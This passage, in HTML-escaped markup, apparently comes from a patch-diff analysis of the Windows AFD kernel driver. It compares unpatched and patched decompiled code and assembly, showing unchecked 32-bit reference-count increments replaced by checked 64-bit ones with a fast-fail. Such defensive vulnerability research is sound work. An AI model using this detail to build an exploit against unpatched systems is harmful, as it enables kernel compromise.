class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AfdMapMdlChain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;MdlAddress&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... identical copy: source *(a2+0x98)+6, length *(*(a2+0x98)+4)+2 ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// 0xC0000023&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Reference-count integrity check in &lt;code&gt;AfdRestartBufferReceiveWithUserIrp&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED (0x1C0005A10) ===&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10000000u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;_InterlockedIncrement&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;signed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// 32-bit, result ignored&lt;/span&gt;
&lt;span class="n"&gt;AfdLRListAddItem&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PSLIST_ENTRY&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED (0x14000C0B0) ===&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10000000u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_InterlockedIncrement64&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;signed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;__fastfail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0xEu&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                                            &lt;/span&gt;&lt;span class="c1"&gt;// FAST_FAIL_INVALID_REFERENCE_COUNT&lt;/span&gt;
&lt;span class="n"&gt;AfdLRListAddItem&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PSLIST_ENTRY&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The same increment-then-check transformation appears in &lt;code&gt;AfdServiceWaitForListen&lt;/code&gt; (field &lt;code&gt;+0x40&lt;/code&gt;, was &lt;code&gt;+0x38&lt;/code&gt;) and twice in &lt;code&gt;AfdTLTPacketsSend&lt;/code&gt; (fields &lt;code&gt;+0x30&lt;/code&gt; and &lt;code&gt;+0x40&lt;/code&gt;, the latter was &lt;code&gt;+0x38&lt;/code&gt;). The field-offset shifts reflect struct-layout growth, not a logic change.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;AfdRestartBufferReceiveWithUserIrp&lt;/code&gt; — the reference-count fastfail&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED AfdRestartBufferReceiveWithUserIrp @ 0x1C0005A10 ===&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002290E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0022912&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unchecked&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0022916&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ListEntry&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002291D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AfdLRRepostReceive&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0022924&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;AfdLRListAddItem&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED AfdRestartBufferReceiveWithUserIrp @ 0x14000C0B0 ===&lt;/span&gt;
&lt;span class="mi"&gt;000000014000&lt;/span&gt;&lt;span class="n"&gt;C249&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;000000014000&lt;/span&gt;&lt;span class="n"&gt;C24C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;
&lt;span class="mi"&gt;000000014000&lt;/span&gt;&lt;span class="n"&gt;C24F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;000000014000&lt;/span&gt;&lt;span class="n"&gt;C255&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;
&lt;span class="mi"&gt;000000014000&lt;/span&gt;&lt;span class="n"&gt;C258&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;000000014000&lt;/span&gt;&lt;span class="n"&gt;C25B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jg&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_14000C264&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;
&lt;span class="mi"&gt;000000014000&lt;/span&gt;&lt;span class="n"&gt;C25D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Eh&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FAST_FAIL_INVALID_REFERENCE_COUNT&lt;/span&gt;
&lt;span class="mi"&gt;000000014000&lt;/span&gt;&lt;span class="n"&gt;C262&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__fastfail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;000000014000&lt;/span&gt;&lt;span class="n"&gt;C264&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ListEntry&lt;/span&gt;
&lt;span class="mi"&gt;000000014000&lt;/span&gt;&lt;span class="n"&gt;C26B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AfdLRRepostReceive&lt;/span&gt;
&lt;span class="mi"&gt;000000014000&lt;/span&gt;&lt;span class="n"&gt;C272&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;AfdLRListAddItem&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;AfdServiceWaitForListen&lt;/code&gt; — same transformation&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED AfdServiceWaitForListen @ 0x1C00197C0 ===&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002D7B4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unchecked&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002D7B9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002D7C0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED AfdServiceWaitForListen @ 0x140043C80 ===&lt;/span&gt;
&lt;span class="mi"&gt;0000000140043&lt;/span&gt;&lt;span class="n"&gt;F69&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;0000000140043&lt;/span&gt;&lt;span class="n"&gt;F6C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;0000000140043&lt;/span&gt;&lt;span class="n"&gt;F72&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;
